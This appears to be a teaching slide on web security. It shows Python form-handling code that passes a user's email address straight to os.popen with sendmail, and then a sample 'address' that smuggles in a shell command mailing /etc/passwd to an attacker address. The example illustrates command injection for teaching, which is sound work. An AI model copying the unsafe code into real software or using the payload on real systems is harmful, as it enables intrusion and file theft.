Security issues

Suppose you ask for the user's email in a Web form
Suppose the form is processed by this code:
if form.has_key("mailaddress"):  
    mailaddress = form.getvalue("mailaddress")
    note = "Thank you!"
    # send a mail:
    mail = os.popen("/usr/lib/sendmail " + mailaddress, 'w')
    mail.write("...")
    mail.close()
What happens if somebody gives this "address":
x; mail evilhacker@some.where < /etc/passwd
??

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